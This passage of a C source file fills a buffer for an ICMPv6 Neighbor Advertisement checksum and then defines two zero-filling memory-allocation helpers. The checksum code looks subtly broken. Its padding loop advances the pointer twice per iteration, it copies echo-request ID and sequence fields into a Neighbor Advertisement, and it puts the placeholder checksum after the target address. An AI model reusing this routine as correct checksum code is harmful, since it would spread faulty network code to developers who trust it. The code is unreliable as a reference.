    /* Copy ICMPv6 code to buf (8 bits) */
    memcpy (ptr, &na.nd_na_hdr.icmp6_code, sizeof (na.nd_na_hdr.icmp6_code));
    ptr += sizeof (na.nd_na_hdr.icmp6_code);
    chksumlen += sizeof (na.nd_na_hdr.icmp6_code);

    /* Copy ICMPv6 ID to buf (16 bits) */
    memcpy (ptr, &na.nd_na_hdr.icmp6_id, sizeof (na.nd_na_hdr.icmp6_id));
    ptr += sizeof (na.nd_na_hdr.icmp6_id);
    chksumlen += sizeof (na.nd_na_hdr.icmp6_id);

    /* Copy ICMPv6 sequence number to buff (16 bits) */
    memcpy (ptr, &na.nd_na_hdr.icmp6_seq, sizeof (na.nd_na_hdr.icmp6_seq));
    ptr += sizeof (na.nd_na_hdr.icmp6_seq);
    chksumlen += sizeof (na.nd_na_hdr.icmp6_seq);

    /* Copy ICMPv6 Neighbor Target IP6 address to buff (128 bits) */
    memcpy (ptr, &na.nd_na_target, sizeof (na.nd_na_target));
    ptr += sizeof (na.nd_na_target);
    chksumlen += sizeof (na.nd_na_target);


    /* 
     * Copy ICMPv6 checksum to buf (16 bits)
     * Zero, since we don't know it yet.
     */ 
    *ptr = 0; ptr++;
    *ptr = 0; ptr++;
    chksumlen += 2;

    /* Copy ICMPv6 payload to buf */
    memcpy (ptr, payload, payloadlen * sizeof (uint8_t));
    ptr += payloadlen;
    chksumlen += payloadlen;

    /* Pad to the next 16-bit boundary */
    for (i = 0; i < payloadlen%2; i++, ptr++) {
        *ptr = 0;
        ptr += 1;
        chksumlen += 1;
    }

    return checksum ((uint16_t *) buf, chksumlen);
}

/* Allocate memory for an array of chars. */
char * allocate_strmem(int len)
{
    void *tmp;

    if (len <= 0) {
        fprintf(stderr, "ERROR: Cannot allocate memory because len = %i in allocate_strmem().\n", len);
        exit(EXIT_FAILURE);
    }

    tmp = (char *) malloc(len * sizeof(char));
    if (tmp != NULL) {
        memset (tmp, 0, len * sizeof(char));
        return(tmp);
    } else {
        fprintf (stderr, "ERROR: Cannot allocate memory for array allocate_strmem().\n");
        exit(EXIT_FAILURE);
    }
}

/* Allocate memory for an array of unsigned chars. */
uint8_t *allocate_ustrmem(int len)
{
    void *tmp;

    if (len <= 0) {
        fprintf(stderr, "ERROR: Cannot allocate memory because len = %i in allocate_ustrmem().\n", len);
        exit(EXIT_FAILURE);
    }

    tmp = (uint8_t *) malloc(len * sizeof (uint8_t));
    if (tmp != NULL) {
        memset(tmp, 0, len * sizeof (uint8_t));
        return(tmp);
    } else {
        fprintf(stderr, "ERROR: Cannot allocate memory for array allocate_ustrmem().\n");
        exit(EXIT_FAILURE);
    }
}